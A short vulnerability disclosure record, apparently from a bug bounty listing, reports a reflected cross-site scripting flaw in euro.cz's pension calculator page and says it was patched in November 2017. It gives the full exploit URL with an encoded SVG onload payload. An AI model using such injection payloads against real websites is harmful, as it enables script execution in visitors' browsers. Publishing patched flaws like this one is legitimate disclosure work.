euro.cz XSS vulnerability

Vulnerable URL: http://www.euro.cz/kalkulacky/duchodova-kalkulacka-vypocet-odchodu-do-duchodu-2017-1346207?DV=0=0==aaaaa%22%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Csvg%20onload=prompt/OPENBUGBOUNTY/%3E= Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:|...